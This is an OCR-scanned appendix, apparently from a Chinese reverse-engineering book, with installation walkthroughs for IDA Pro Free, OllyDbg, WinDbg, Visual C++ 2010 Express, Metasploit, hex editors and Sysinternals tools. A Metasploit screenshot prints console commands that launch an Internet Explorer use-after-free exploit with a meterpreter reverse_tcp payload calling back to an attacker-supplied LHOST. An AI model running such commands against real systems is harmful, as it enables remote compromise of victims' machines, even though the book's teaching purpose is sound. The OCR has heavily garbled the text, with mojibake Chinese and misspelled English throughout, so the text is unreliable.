Eﬁetup — IDA Pro Free ¥5.0

License Agreenment
Please read the Fallowing impartant infarmation before continuing,

Flease read the following License Agreement, You must accept the terms of this
agreement before continuing with the installation,

DA Pro Freeware 5.0

[

This free version of IDA Prois licensed ko wou For non-commercial =
s, Commetcial use requires a normal IDA Pro license,

This license restriction supersedes other provisions in the standard

IDA Pro license below.

The IDA Pro computer programs, hereafter described as "the software"
are licensed, nok sold, to wou by Hex-Raws 54 pursuant to the

kerms and conditions of this Agreement, Hex-Rays 54 reserves any
right not expressly granted ko vou, You own the media on which the

(%

(#)1 accept the agreement

{1 do not accept the agreement

[ < Back ” lext = ] [ Cancel

A License Agreement

1% $% 1 accept the agreement.



E:Eetup — IDA Pro Free ¥5.0

Select Destination Location
Where should IDA Pro Free «5.0 be installeds

L—J Setup will install IDA Pro Free v5.0 inka the Following Folder,

Tao continue, click Mesxk, IF you waouold like ko select a different Falder, click Browse,

2::¥F'r'-:u:|r'-arn Files¥IDA Frees | [ Browse. .,

At leask 23,8 MB of free disk space is reguired,

[ < Back ][ Mext = ] [ Zancel ]

A EPEARH K

E:Eetup — IDA Pro Free ¥5.0

Select Additional Tasks
Which additional tasks should be performed?

Select the additional tasks you would like Setup to perform while installing IDA Pro Free
w5, 0, then click Mext,

Additional icons;

i_reate a deskbop iconé

[ < Back. ]L_Mext:: ] [ Zancel ]

A EPERAT A @R EE T



mﬁetup — IDA Pro Free ¥5.0

A TG E A

Ready to Install
Setup is now ready ko beqgin installing IDA Pro Free 5.0 on wour computer,

Click Install ko conkinue with the inskallation, ar dlick Back if you wank o review ar
change any settings,

Destination location:
:¥Program Files¥I0A Free

Additional tasks;
Additional icons;
Create a desktop icon

[ < Back ]| Inistall |[

Cancel

J

A TR

Eﬁetup — IDA Pro Free ¥5.0

Installing
Flease wait while Setup installs IDA Pro Free w50 on your compuker,

Extracting Files. ..
C:¥Program Files#I04 Free¥ids¥win¥mfood0d.ids

Cancel




E':Setup — IDA Pro Free ¥5.0

Completing the IDA Pro Free v5.0
Setup Wizard

Setup has finished installing IDA Pro Free 5.0 on wyour
computer, The application may be launched by selecting the
installed icons.,

Click Fimish ko exit Setup,

FREEWARE
Version 5.0

Hex-Rays 2010

A ZREH

R kPG 3P 70 (Create a desktop icon) , ZZEEFEPFALER M LCE — bR, K
Al rT AT SO R BX AN B bR b, el LU IDA PRIEFT B .



A.2 %3¢ OllyDbg
OllyDbg HJ LA T Tl FR) 9 3t T 2
http://www.ollydbg.de/

FTIIRRA S 2.01, HIXZ& > Beta fi, PIAFPATHKZ 1.10 A,

[ OllyDbe +1.10 x W
€ - C [ wwwolhdbzde i

:‘k OllyDbg

Indes VERSION 2.01 beta, updated 4x (19-Nov—-2012) —

uhiﬁ;nfaan:w (Enhanced plugin interface)

Beguirements )
Privacy Off-topic 1: PaperBack — backups on the paper

Download

Quick start Off-topic 2: Jason - graphical interface to the Hercules $/370 =~
e emulator

Files
Odbg200 zip
Odb=110.zip
Odbs1028hzip
Plugl10zip
Disasm.zip
Cmdline.zip

certified by www.softpedia.com

OllyDhg is a 32-hit assembler level analysing debugger for Microsoft® Windows® Emphasis on binary code
analysis makes it particularly useful in cases where source is unavailable. OllvDbg is a shareware, but vou
can download and use it for free. Special highlights are:

Tutorials
Run trace (zip!
Load DLL {(zip)

* Intuitive user interface, no cryptical commands

* Code analysis — traces registers, recognizes procedures, loops, APl calls, switches,
tables, constants and strings

* Directly loads and debugs DLLs

A OllyDbg M 171 Chttp://www.ollydbg.de/ )

OllyDbg %A1 &HeRefy, R ERG FE ZIP [ 4e, R H A i SCPF S B H ot
DU T


http://www.ollydbg.de/
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A3 %% WinDbg

WinDbg 73 4 32 A7l 64 AL FHANRRA

e WinDbg (32 1)

https://msdn.microsoft.com/zh-cn/windows/hardware/gg463016

e WinDbg (64 137 5)

http://msdn.microsoft.com/zh-cn/windows/hardware/gg4 63012

E2 Windows 32 {UMi MM | X

€208 https:/msdn.microsoft.com/zh-cn/windows/hardware/gg463016 ﬂ? =
e Windows | FRARAL - BE v Jo
iR|R A1 it ##& ME #HZ Windows 10 -~

Windows 32 ffRAEiER TE

EHRM: 5A 288 2010F
FANE

+ Window B TR MY E
o [RHER 32 HBXIE
» Window i T BRILLAT A

Window BiX TENLAIEE
WA ETIA 6.12.2633-2010&2 26 H

Windows 32 A& TERERGES A THANRE, ZAMHER Windows Software Development Kit (Windows
SDK] H{J_Eﬁﬁlﬁ{'ﬁw

T# Windows SDK {Bi{ TE

A 32 {7 /it Debugging Tools for Windows [ 1/
LA A LAAE R DR B B 5 $k 3] SR

BOFT R ] LI i Windows Software Development Kit (Windows SDK) #4252 7 1L - T 5 1)


https://msdn.microsoft.com/zh-cn/windows/hardware/gg463016
http://msdn.microsoft.com/zh-cn/windows/hardware/gg463012

B Download Microsoft Windo, %

&« = C Dwww.min:n:lspft.cclrr_v'en—usﬁ'down||:|adr‘details.aspx?id:BE?B ﬁ =

Software Categories Security Support =hap g |

B Microsoft Windows SDK for Windows 7 and .NET
B Framework 4

Free PC update:

Security patches
Software update
Service packs

- L ] - L ]

The Windows SDK provides tools, compilers, headers, libraries,
code samples, and a new help system that developers can use to
create applications that run on Microsoft Windows. (@) run Microsof upd:

Hardware driver

@ Details

@ Systermn Requirements Sign up for Team Fou g

[ | 2

A Windows SDK ¥ T

(http://www.microsoft.com/en-us/download/details.aspx?id=8279 )


http://www.microsoft.com/en-us/download/details.aspx?id=8279

‘s Windows® SDK for Windows® 7 and MNET Framework 4

3 I o viindows:
g:! Windows® SDK Setup Wizard | Y Software )
- Development Kit

Welcome to the Setup Wizard.

You can now install the Microsoft® Windows®
Software Development Kit for Windows 7 and .MET
Framework 4

This SDK prowvides headers, libraries, tools, samples,

YC++ 2010 campiler/CRT, and other resources to .

help you develop Windows applications using hoth E3 Windows*

native and managed technologies. This SOK suppoaorts ‘ - Softwa re

dewveloping on and for Windows 7, Windows Server _—8 .
2008 R2, Windows Yista, Windows =P and Windows

Server 2008, and targeting .MET Framework version DeVE|0pment Klt

4 and down lewvel versions to 2.0,

Mext > J[ Cancel ]

A Setup



s Windows® SDK for Windows® 7 and _NET Framework 4

Windows*

2 .y
g’ End-User License Agreement [ i Software .
- Development Kit

|

MICROSOFT SOFTWARE LICENSE TERMS
MICROSOFT WINDOWS SOFTWARE DEVELOPMENT KIT FOR WINDOWS
7 and .NET FRAMEWORK 4

These license terms are an agreement between Microsoft Corporation {or based on where you live, one of its affiliates)
and you. Please read them. They apply 1o the software named above, which includes the media on which you received

it, if any. The terms alzo apply to any Microsoft
s Updates,

s supplements,

£

Fleaze read the End-LUser License fereement carefully and select either “I feree” or “I Dizaeres”

A License Agreement

EFET Agree, BEANT—T1,



‘s Windows® SDK for Windows® 7 and NET Framework 4

- "'*-' Windowsr

Install Locations ‘,x ; Software )
- Development Kit

findows 50K Setup will install content to the following lozations:
To inztall to these folders, click Mext To install to a different folder, click Browse and select another folder.

Destination Folder for Toolz

iO:¥F‘rl:ugram Files¥Microzoft SDEs¥wWindomsi¥y 7.1

Destination Folder for Samples

iG:¥ Program Files¥Microsoft SOEs¥wWindoms¥y 7 1¥5amples

[ < Back ]| Mext > |[ Cancel ]

A R X



‘s Windows® SDK for Windows® 7 and MNET Framework 4

Windows*

.
g! Installation Options & . Sﬂftware -
- Development Kit

Feature Description Detail
Windows Mative Code Development

=RERindows Native Code Development
- [ samples

#-[] windows Headers and Libraries ) o
Ihztalle components that et wou develop native code applications.

i O T?DIS . Ihzluded are the Windows Headers and Libraries, Wisual G++

-0 visual C++ Compilers Compilers, Tools, and Samples for xB6, x64, and tanium

E'IE NET Development architechures on Windaws 7, Windows Vista, Windaws ¥P, Windows
~[H Intellisense and Reference Assemblies Server 2008 RZ, Windows Server 2008, and Windaws 2003 R2.

- [ Tools

E||i| Common Utilities Thiz feature and itz children require 8100 MB of hard dizk zpace.
[ Microsoft Help System Disk Space Requirements

[0 application Verifier

[0 windows Performance Toolkit sl 2l LR et
= 3 Debuqgqging Tools for Windows - P e LA
=[] Redistributable Packages
[ microsoft visual C+ + 2010
[ application Verifier sl sl e L
9.8 ME 55 hMinutes

[ Debugging Tools
~.[] windows Performance Toolkit

[ < Back ][ Next > J[ Cancel ]

A GEPEE R T
FEIX B IRAT A UL 2B AR 2 P T

P2 %E WinDbg, 1#1£#% Common Utilities 7] Debugging Tools for Windows.



‘s Windows® SDK for Windows® 7 and NET Framework 4

9:! Begin Installation

Click Mext to begin vour inztallation of the Windows 30K, or click
Back to make chanees.

[

~ Development Kit

P o windows:
¥ Softw

Windows*

»
& Software _
Development Kit

are

[ < Back ]L Mext > J[ Cancel ]

A IRV E TR



‘s Windows® SDK for Windows® 7 and NET Framework 4

Windows*

5 »
g:l Installation Progress ‘ ] Software .
- Development Kit

Htatus

Setup iz now installing Windows 50K components.

Action
Downloading

Cancel

A TR



‘s Windows® SDK for Windows® 7 and NET Framework 4

Windows*

Q:! Installation Complete f ] S[)ftware )
- Development Kit

The zelected modifications are complete.
Tao wiew the log, click Wiew Loe.
Tao exit, click Finish.

For information about other free Microzoft developer donnloads
zee the Windows SDK Releaze Motes.

o windows:
A v Software

St ot o Development Kit

[ ] Help improve our products by sending wour installation repart
to Microzoft. Mo information collected 1= uzed to identify wou
or contact you,

Click to view the Privacy Statement.

Wiew Log JL Finizh j

A ZRER

PXHEPAT 2 TE I T



A4 ‘%3 Visual Studio 2010

RE AR & kAT T Visual Studio 2012, {HAF A& H Visual Studio 2010 Express
FRORBEAT PR (MERSR LN 1% & Visual C++ 2010 Express i) o KZ A LU NI HI 3 N3

1o

1 BT E 77 ©ASAE Visual Studio 2010 [ Rk, SA738 HAg A =07 IRIEREL, 508 BB Visual Studio 2013/2015 Community A4
— T

m Dowvnload | Microzoft Visu %

C [ www microsoft com/visualstudio /e ng/downloads#d—2 01 O-express

g Visual Studio

Products ALM
control when building either native \Windous Pack (CLIPy uses tonltip captions to display
(COM+) applications or MET Framework- translations far cornrmon user interface
managed Windows applications, After elements in the Visual Studio integrated
installation, you can try this product for up to 30 development enviranment (IDE). Use CLIP as a
days, You must register to abtain a free product language aid, to see translations in your own
key for ongoing use after 30 days. dialect, update results in your own native

tongue or as a learning tool,
Download language

‘El_ﬁgi w * frahic -

| & Greek - EMnvIKE

Installation options & Hebrew -
Wisual C++ 2010 Express - HF2E ¢ Hindi - =T

@ [ristall prosae # Hungatian - Magyar
o

* Malay -

# Malayalam - O0D0OOOO
# Oriya- 0OO0O
¢ Tarnil - SLAILD

& Thai - a7y

o microzaftcom.7link id=07 09955 Choose Language

I«

A Visual Studio 2010 2% 7 [

(http://www.microsoft.com/visualstudio/eng/downloads#d-2010-express 2 )

2 AWk 5 17 3 Visual Studio BI17)7 Wi . ——PEFE

W R AT A Visual Studio 2012 Express fix, 1] LALLM R4 for Windows Desktop R A
(A H T Windows 7 N SRR RS


http://www.microsoft.com/visualstudio/eng/downloads#d-2010-express

e Visual Studio Express 2012 products

http://www.microsoft.com/visualstudio/eng/products/visual-studio-express-products 3

3 A Mk C R 2 1713 Visual Studio 1777 W . PEEE

& Microsoft ¥isual C++ 2010 Express Setup | = 10| =}

Welcome to Setup l[n M"o;fmi:;ﬂual C++2010
Express

Welcome to the Microsoft Yisual C++ 2010 Express installation wizard, Microsoft Visual C++ 2010
Express includes the 32-bit Yisual C++ compiler baalset and an optional ighbweight developrent
environment, This wizard will quide wou through the process o inskall this program and any
prerequisites needed on this computer,

Help Improve Setup
You can submit information about your setup experiences to Microsoft, To
participate, check the box below,

¥ “es, send information about my setup experiences o Microsoft Corporation.

\i) For more information, click Privacy Staternent

= Preyiaus || Mext = || Cancel

A Setup


http://www.microsoft.com/visualstudio/eng/products/visual-studio-express-products

W% Microsolt Visual C++ 2010 Express Setup - o] x|

O® Visual C++2010

Express

License Terms

Be sure ko carefully read and understand all the rights and restrictions described in the license
terms, You must accept the license kerms before yvou can install the software,

MICROSOFT 20FTWARE LICENSE TERMS ;I
MICROSOFT WISUAL C++ 2010 EXPRESS =2

These license terms are an agreement between Microsaft Corporation (or based on where
wou live, one of its affiliakes) and vou, Please read them, They apply to the software named
above, which includes the media on which wou received ik, iF any,

-

Tha barrac alen snnlu ba s MiceoeofE

Press the Page Down key to see more kext.

¥} I have read and accept the license terms

) I do not accept the license terms

# Previous || Mexk = || Zancel

A License

1%$% 1 have read and accept the license terms, RJGHEANT— 01,

BB Microsoft Yisual C++ 2010 Express Setup ] _|0] =}

Installation Options m ﬁ“&""“"
isual C++ 2010
Express

Select the optional product(s) vou would like toinstall:

[ Microsoft silverlight

Microsoft Sikverlight is a small broveser plug-in that enables rich Web experiences. By
installing Silverlight wou accept the Silverlight license agreement,

[T Microsoft SOL Server 2008 Express Service Pack 1 (x86)

S0L Server Express integrakes with Visual Studio ko provide basic client-database and
server-database capabilities,

U Far more inforrmation, see the Eeadme file,

< Previous || Mexk = || Zancel




A AT
AATAER] Silverlight 11 SQL Server, PR 17 A% A i P il
=101 x|

Destination Fold : VisL
estination Folder mV[sual C++2010
Express

Select the location where wou would like to inskall Microsoft Yisual C++ 2010 Express,

Install in Folder:

IC:'I,F‘ru:ugram FilestMicrosaft Wisual Studio 10,00 Browse, .,

The following producks will be installed:

+ Microsoft Application Error Reporting -
«  MC 9.0 Runtime (x86)
¢+ Microsoft MET Framewaork 4

+  Microsoft windows Installer 4.5 (x868) - Windows XP b
+  Microsoft Windows Installer 4.5 Update (x&6) - windows P
« MET Framewark 4 Multi-Targeting Pack ;I

Disk space requirements: C: 2.2 GB

= Previous | |

A GEFELAREH X



A BRI

VNENEE- XN

B Microsoft ¥isual C++ 2010 Express Setup I o (=] o<

Installation Progress w mal c_l__l_ 2010
Express

The Following itemi=) are being installed on this compuker:

T =
' Microsoft Application Error Reporting

' ¥C 9.0 Runtime {x86)

E; Microsoft .NET Framework 4

1 Microsoft Windows Installer 4.5 {#86) - Windows XP

11 Microsoft Windows Installer 4.5 Update {(x86) - Windows %P

= TN e ol ok 1 A _Bd. Ao F [ ]

Currently Installing {3 of 9): Microsoft .MET Framework, 4

(I —

E Microsoft Yisual C++ 2010 Express Setup N ] IEIIE[
Installation Progress w Micrpeohe
Visual C++ 2010
Express
The Following ikemis) are being installed on this computer;
T =
el Microsoft Yisual C++ 2010 Express Setup
W
& “Y'ou must restart your computer o complete the installation. S etup wil

autormatically continue after your computer has restarted, e
n

L —an

Frestart [Later |
Curn

T v . T T

Zarmel




FELEIRE Y, Al RETT EH ) JLIRAR S

B Microsoft Yisual C++ 2010 Express Setup N (=] B3

I Mil’.l'Eﬂﬂ"
Setup complete tﬂ Visual C++2010
Express

Microsoft ¥isual C++ 2010 Express has been installed successfully.

i) Wisik Microsoft Update to download the latest service packs and security updates,

A ﬁ’lﬂ: Qﬂ:;ﬁ
FX LT

AL, WRAMATAELIEM, AT 30 K. IERFEMZHRHPIES Help — Register
Product, A3 H R Y 00 SR B 2581

20 x|
Micrgsat
O Visual C++2010 Express

Microsoft Yisual C++ 2010 Express will run for 29 more days.

Registration is required to continue using Microsoft Wisual C++ 2010 Express, Registration is
free and provides you with access to additional benefits,

Dbtain a registration key online |

Feqgistration Key:

Renister: Mo | Close

A S
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Setup — Metasploit

Wielzome to the Metasploit Setup Wizard.

< Back [ Mext> |[ Cancel J

A Setup

Licenze Aereement

Pleaze read the following License fereement. You must accept the terms of thiz agreement
before continuing with the inztallation.

[

RPapid? End User License and Services Terms and Conditions

Customer agreses to be bound by the following terms and conditions
(this=s "Agreement") in connection with its purchase and use of
certain Bapid? LLC "= ("Rapid?") Software and Services (each as
defined below). Before installing and using any Software and/for
ocbtaining and using any Serwices you should read this Agreement
carefully. Clicking "accept" or otherwise installing and/for using
the Software and/or obtaining andfor using any Serwvices

=

&) T accept the agreement:

Do wou accept this license?
s B ) Idonot accept the asreement

BitBock Inztaller
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A License Agreement
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Installation folder

Pleaze, chooze a folder to install Metasploit

Select a folder

BitFock Installer
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Metasploit Service

Pleaze enter the port that the Metazploit zervice will uze.

BitFock Ihstaller
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Generate an S5L Certificate @

Pleaze provide the fully qualified domain name of this svstem below (e
metazploitexamplecoml. & certificate iz generated for a specific server name and web
browszers will alert users if the name does not match.

Server Mame

Days of validity ~ |3650 |

BitFock Installer
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Ready to Install @

Setup iz now ready 1o begin ingtalling Metasploit on wour computer.

BitRock Inztaller
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« Conduct penetration tests through an easy-to-use interface

« Demonstrate true risk to management and IT operations

- Eliminate false positives from third-party vulnerability scanners
« Upgrade to Metasploit Pro for advanced enterprise features

Ihztalling
Waiting for Metazploit to start. Thiz may take a few minutes.

Completing the Metasploit Setup Wizard

Setup haz finizhed installing Metazploit on your computer.
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C- Metasploit Pro Gonsole
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[Y Exploit Database (DB} | M: x

€ =2 C [ wwwmetasploitcom/modules/# i

Welcome to the Exploit Database (DB) for Metasploit Auxiliary and Exploit Modules. The Metasploit Project hosts the

world's largest database of guality assured exploits, including hundreds of remote exploits, auxiliary modules, and
payloads.

Search for exploits and auxiliary modules

Open Source Yulnerability DataBase ID  Bugtraq ID

Full Text Search Common Yulnerabilities Exposures (CVE)
ID

CVE-2013-1347

Microsoft Security Bulletin ID

SEARCH MODULES »

metasploit -
ﬂgégmzap)loit Auxiliary Module & Exploit Database (DB)




[Y Microzoft Internet Explorer %

-~ C [ www.metasploit com/madules/exploit/windows/ browser/ie_cgerericelement_uaf '*'1?" =
L= lrJIUI'L?'?'rTI"I’LJU’\‘Tui’UI T sTT LIIU'UDLF_'I'I'CII -\.'!T'Ir'.il'u}l'\_'pl _Lrl NRRRE 1 o
exploitvwindows/arowser/adobe_flashplayer_flashi0o F
exploithwindows/browserfadobe_flashplayer newfunction
exploitvwindows/rowser/adobe_flatedecode_predictord2
Exploit Usage Informati

% msfoconsole
## HEEE  HHdgE
H#8  #H
4  ##
H#8 HE  H8 H# H#8  #H
HiHE HHE  HEHEE  Hidue Higg  H#ug HiHE HEH
> nge exploit/windows/hrowser/ie cgenericelement uaf
exploit(ie cgenericelement uaf) » show payloads
exploit(ie nericelement uaf] > set PAYLOAD winduwsfme.t.e:r:pret.e.]:fre'.re:r:se_t.c!p
nericelement uaf) > set LHOST [MY IP ADDRESS]
exploit (i nericelement uaf] > exploit
v
< >

A 12 CVE2

Metasploit %*/I\T\iﬁ}jﬁ*%k?%ﬁ@Iﬁ, KTEMNELLE l— A4,
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o Metasploit The Penetration Tester's Guide 4

http://shop.oreilly.com/product/9781593272883.do

4 AP (Metasploit BiEMIRIERTY , BT DI HRAE, 2012 K. —FH T


http://shop.oreilly.com/product/9781593272883.do

A6 i LA

NHEFERARIC S R AT P IR A A LA

Stirling / BZ Editor

Stirling »& —PNIIREMR AR “BEFIG &, At TIXA T A

‘EME—E NGV AR EE DL GB O AL RSO, AN B AR A, T BAERE BZ
Editor,

fiz Stirling ~ [Stirling.exel =11
Bt 7pLE) REE WE-BEE REQ UMM 2 -8 x
Das@| =[] &|%| @0 55| a0 8 |sufen] 005 CHlnu[DY] 2ot °1] S|&]
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O BD 5490 00 023 00 00 00 04 00 DO QO FFFF Q0 00 MZ.............. i 1
B2 00 00 00 00 00 00 00 40 00 00 00 00 00 0000 2....... TS

00 00 00 00 DO 00 00 00 00 00 00 0D 0O QD 0O D0 ..oeeeinininn..,
Qe 00000000 0000000000, DEOA0AN e o

0 1FB& 0B 00 B4 05 C0:21 B8 019G EN21.54 68 3. T4 AR

69 73 20 70 72 6F 67 72 61 60 20 63 61 6E 6E 6F  is prozram carno

74 20 62 65 20 72 75 BE 20 69 6E 20 44 4F 53 20t be run in DOS

60 6F 64 65 2E OD 0D DA 24 00 00 00 00 00 00 00 mode....$.......
Cred| WS AN e FINE B S TN B S TN B S

TEECOF 9B FE-2F 97 B4 B0 2] 9757 FG-OF OY

QNN OF E3 25 97 09 FC 2F 97 77 FC 2E 97 85 FD 2F 97  .&.../5%. ../,

] 15 B350 90k FU 2 97 0 B3 20 s0y LE FI2E oy

EF BLog Gt 76 FL2F O b2 b B3 68 [T FL-2F g JE L/ ichw. /.

L e L R A B T e O st 0 O G 5 B o T
00 BF 70 37 00 00 00 00 00 00 00 00 B0 00 OF 07 e P
OB 071 06 00 00 BO 09 00 00 50 02 00 00 00 00 00 ..., ssacaid Blacamon
_____ [ 0910600001000V ODMWNNNOMW 8.5 .8 g
L7 000000000 | & [L& 235584 Bytes ISHIFT
A Stirling
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File Edit Yiew Jump Tecls Help
s WX =2 ODD8 0O vih =0 F &
+0 +1 +2 +3 +4 +5 +§ +7 +8 +9 +4 +B +C +D +E +F B123456782ABCDEF L

apaaaa ED A 990 B9 B3 0O 00 00-04 OO0 B0 A0 FF FF 08 A4 EZ ..............
gpAA18 B8 O0 60 B0 00 OO 00 OA-40 00 B0 B0 B0 AO 00 A ........ [dipenansonanes
gpAA28 A0 B0 0O PO OO 00 OO 00-B0 A0 B0 A0 08 BB BB B ... ....... ...
ffAA30 080 B0 B0 PO OO 00 OO 00-B0 A0 B0 GO FO BB BB BB .. ..........c.a.
gpAA4Bd BE 1F BA BE 68 B4 82 CD-21 B8 81 4 C CD 21 54 68 ........ Yoolo®Th
gepese 69 73 28 ¥8 72 6F 67 7¥2-61 6D 28 63 61 6E 6E 6F 1is program canno

geeeGa 74 28 62 65 28 72 75 6E-28 69 6E 28 44 4F 53 28 t be run in DOS
600878 6D 6F 64 65 2E BD BD BA-24 0O 0O 06 66 66 66 60 mode....5.......

A@eesA 2D AE FD DF 69 CF 93 BC-69 CF 93 8C 69 CF 93 8 -...i...i...1i...
g8pe?8 AR CO CC BC 61 CF 93 BC-AA CA CE 8C YB CF 93 8C ....a....... p---
g@eeAA 69 CF 92 BC E6 CD 93 BC-4 @89 FD BC AD CF 93 8C i....... )y P

OBOoBBE8 4E A9 EE BC 75 CF 93 8C-4E 89 FE 8C CC CF 93 8C H...u...H.......
BB@ece 4E A9 ES BC 7B CF 93 8C-4E 89 EF 8C 68 CF 93 8C H...{...H...h...
A6AEDA A4E 82 EB BC 68 CF 93 BC-52 69 63 68 69 CF 93 8C H...h...Richi...
HBOBES ©8 A0 B0 68 B0 OO B0 OO-80 600 60 00 68 B0 BB AR ................

BBBBFA 58 45 608 68 4C 61 B84 688-a4 85 BA 51 668 B0 68 B8 PE..L...... 0....
fBB1688 ©8 B0 60 68 EO 68 23 61-88 61 68 B0 668 68 66 A8 ...... |
686118 68 4C B2 68 B0 68 60 68-C6 PE 63 B0 BB 18 BB A . L..............
B86128 68 28 86 68 B0 68 40 O6-80 10 60 00 68 B2 A A . (... @.........

B86138 B4 60 B0 68 B0 OO B0 O6-84 OO0 60 00 068 B0 BB AR ................
BB6148 GO CHO B8 068 B0 B4 80 68-8C E4 68 B0 B2 B0 BB A ... .............
B86158 068 66 10 68 680 10 60 O6-80 60 10 GO BB 18 BB A ... .............
BBA168 ©8 A0 B0 68 10 00 B0 OO-80 600 60 B0 6B B0 BB AR ................
B8e178 4C BD 67 68 FO OO 60 B8-80 408 68 00 6% 7F 68 A8 L........ B......
fB6188 ©8 60 B0 68 B0 OO B0 OO-80 00 60 00 OB B0 BB AR . ...............
B86198 ©8 60 B0 68 B0 OO B0 BO-80 28 66 B0 1C B0 BB A ......... B
BBB1A8 ©8 60 B0 68 B0 OO B0 OO-80 GO0 60 00 OB BB BB A . ............... M
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&) Process Monitor — Sysinternals: www sysinternals.com

Fil=  Edit Ewvent Filter Taoolz Optione  Help
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Time...

Process Mame

1819:1..

18:19:1..
18:19:1..
18:19:1..
18:19:1..
18:19:1..
18:19:1..
18:19:1..
1819:1..
18:19:1..
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18:19:1..
18:19:10..
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lzass.eme
lsasz.axe
lzasz.axe
|zass.ame
lzasz.ame
lzass.exe
lsasz.axe
lsass.axe
lzass.eme
lsasz.axe
lzasz.axe
|zass.a e
lzasz.ame
lzass.exe
lsasz.axe
lzass.axe
lzass.eme
lsasz.axe
lzasz.axe

Explorer.EXE

1308

FIC | Operation

Ggd ﬁHestenKey
G684 ﬂHegDpenKey
634 @Y Reclueryialue
Gad4 ﬁHengnseKey
624 @ ReeOpenkey
654 @Y Reelueryvalue
G ﬂHengnseKey
624 @Y ReeClosekey
Ggd ﬁHestenKey
G684 ﬂHegDpenKey
654 @Y Reclueryvalue
Gad4 ﬁHengnseKey
624 @ ReeOpenkey
654 @Y Reglueryvalue
G ﬂHengnseKey
624 @Y ReeClosekey
Ggd ﬁHestenKey
G684 ﬁHegDpenKey
654 @Y Reclueryialue
ﬁHegDpenKey
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HELMMES ECURIT r¥Palicy
HELMES ECURI T ¥Policy¥S e che zc

HE LS ECURI T r¥Folicy¥s eche sc¥(Da £,

HELMES ECURIT v ¥FPolicy¥S ecDesc
HELMES ECURI TP alicy¥s e cDe 2o

HELES ECURI T r¥Folicy$s e che sc¥De £,

HELM¥ES ECURI T ¥P olicy¥S e che sz
HELh¥S ECURI T r¥F alicy
HELMMES ECURIT r¥Palicy
HELMES ECURI T ¥Policy¥S e che sz

HE LS ECURI T r¥Falicy¥s eche sc¥(Da £,

HELMESECURIT v ¥FPolicy¥S ecDesc
HELMES ECURI T ¥Palicy¥s e cDe 2o

HELES ECURI T r¥Folicy$s e che sc¥De £,

HELM¥S ECURI T ¥P olicy¥S e che sz
HELh¥S ECURI T r¥F alicy
HELMES ECURIT r¥Palicy
HELMES ECURI T ¥Policy¥S e che zc

HE LS ECURI T r¥Folicy¥s eche sc¥(Da £,

HELMES OF TWAREXEMICr oot Window 3.

Result Cre il ’_\
SUCCESS Cesired Acc
SUCCESS Cesired Acc
EUFFER OWERFLOW Length: 12
SUCCESS
SUCCESS Cesired Acc
SLUCCESS Type: REG
SUCCESS
SLUCCESS
SUCCESS Cesired Acc
SUCCESS Cesired Acc
EUFFER OWERFLOW Length: 12
SUCCESS
SUCCESS Cesired Acc
SLUCCESS Type: REG
SUCCESS
SLUCCESS
SUCCESS Cesired Acc
SUCCESS Cesired Acc

BUFFER OWERFLOWLength: 12
MARE MOT FOUMD  Desired Acc %

| >

Showing 19514 of 49926 events (30%)

Backed by wirtual memory

A Process Monitor
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#¥ Process Explorer — Sysinternals: www.sysinternals.com [CAMPERS-8129C0E¥Administrator]

B

File Optione  View Process Find  lUszerz  Help
‘d 2=2EE A ad ] b | ] HEEH | ]
Process CPU Private Byltes Cre zcription Company MName i

Working Set FIC
100,00 T

System [dle Process

= DSyStem ok 4
Dlnte rrupts < 0. ok 0k nsa Hardware Interrupts and DFPCs
= Esmss.em& 160k 42k 566 Windows MT Session Manager  Microsoft Corporation
CEFSS.e e 2100k 4932 K 604 Client Server Runtime Process Microsoft Corporation
=] ﬂ winlogon.exe 8732 K 12,540 K 628 ‘Windows MT Logon Application  Microsoft Corporation
= Ese ruice 5.2 e 1,736 K 3,452 K 672 Services and Controller app Mictozoft Corporation
= Esmhnst.ex& 2a0g kK BATE K g44 Generic Host Process for Win... Microsoft Gorporation |
WIMpFwEe 2 e 2ATE kK 4920k 2812 WM Mictozoft Corporation
swchostexe 1,808 K 4284 K 940 Generic Host Process for Win... Microsoft Corporation
swzhostexe 12380 K 18,776 K. 1032 Generic Host Process for Win... Microsoft Corporation
swchostexe 1,376 K 3640k 1124 Generic Host Process for Win... Microsoft Corporation
Esmhnst.ex& 1,764 K 4460 K 1176 Generic Host Process for Win... Microsoft Corporation
spoolsue ke 3,308 K agd k. 1364 Spooler SubSystem App Mictozoft Corporation
= * pE_Ctlexe 1,996 K 4,004 K. 1592 pectl — starts/stopsSrestarts.. PostereSGL Global Deve
= Epustgre S He 4404 K 10312 K 1708 PostereSGL Server Fostere SCL Global Dewe
Epustgres.em& 3,748 K hOGBG K 1756 PostereSCIL Server Fostere SCGL Global Dewe
Epustgre S He 3,768 K BIEE K 1792 PostereSCIL Server Fostere SCL Global Dewe
Epustgre S He 3,744 K 344k 1800 PostereSCGIL Server Fostere SCGL Global Dewe
Epustgres.em& 4864 K BIE0E 1808 PostereSCL Server Fostere SCGL Global Deu‘ex
[Fposteresexe | £ i) | ¥

CPU Uzage: 000% | Commit Charge: 3257% | Proceszes: 43 | Phyzical Usage: 53.00%

A Process Explorer

(https://technet.micosoft.com/en-us/sysinternals/bb896653.aspx )
Sysinternals |
Windows Sysinternals FHIAFEHE T —EARPHRFENHBIF T H, KFETLM Utilities Index
T _E BT T RS
e Windows Sysinternals (Utilities Index)
https://technet.microsoft.com/en-us/sysinternals/bb545027
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UHSEB BN~ - [Bz.exe (PID: DODDODOF2C)]

7O BB EXE #%0 EREIl 5000 FrW O0RY 0RO AVIE) Nk
, :FL#{J'IH Fmﬁlfﬁllﬁ;%fﬁi Alt+D I A - 3
e Dlee LUGERLCE
00400000 : %p b 9@'00 e
00400010 : B8 00 00 00| seysmsteprsssmen.
00400020 : 00 00 0O 00— =
00400030 : 00 00 00 Qp| Z/PPXF7ienekRg. R ———
00400040 : OE IF BA OF| B2 isieBmsre. MR LT TIALY. wn.
00400060 : B9 73 20 70| FEARTITRATEREL. | is program canno
00400060 : 74 20 62 65 %ﬂfﬁrﬁ'f;?g?gf’;jt% :::tq )t be run in DOS
00400070 : 6D 6F 64 65| X MERPEILW. el I Ry s
00400080 : AC FE 83 A7| inecontsin bom(uiduon b b ne o RRIBE bR
00400090 : 84 80 F4 F4| Mot b-Fo 0. AP : [Ig -? fé@
00400040 : 87 80 EC F4| ™ a2 smiric oz siseiaiso. © - Sl i
004000B0 : 87 80 E3 F4| oion-kerun-kEo. b S - - 50
D[}EI.[]OUC[] . 9] BE Ef_:‘ Ffl'l. HIRPE LA T Create Remote ThreadBBETEFT(C) | —'—H;*; ‘f Bﬁ::?-% %
00400000 : EE BC EC F4| avsk/nriimesmss e &, o 2/ - B
O04000ED - 57 69 B3 65| PoEATEL2TOAESEHRDS 727 VAR 0.. | Flch[ﬁﬁg ________
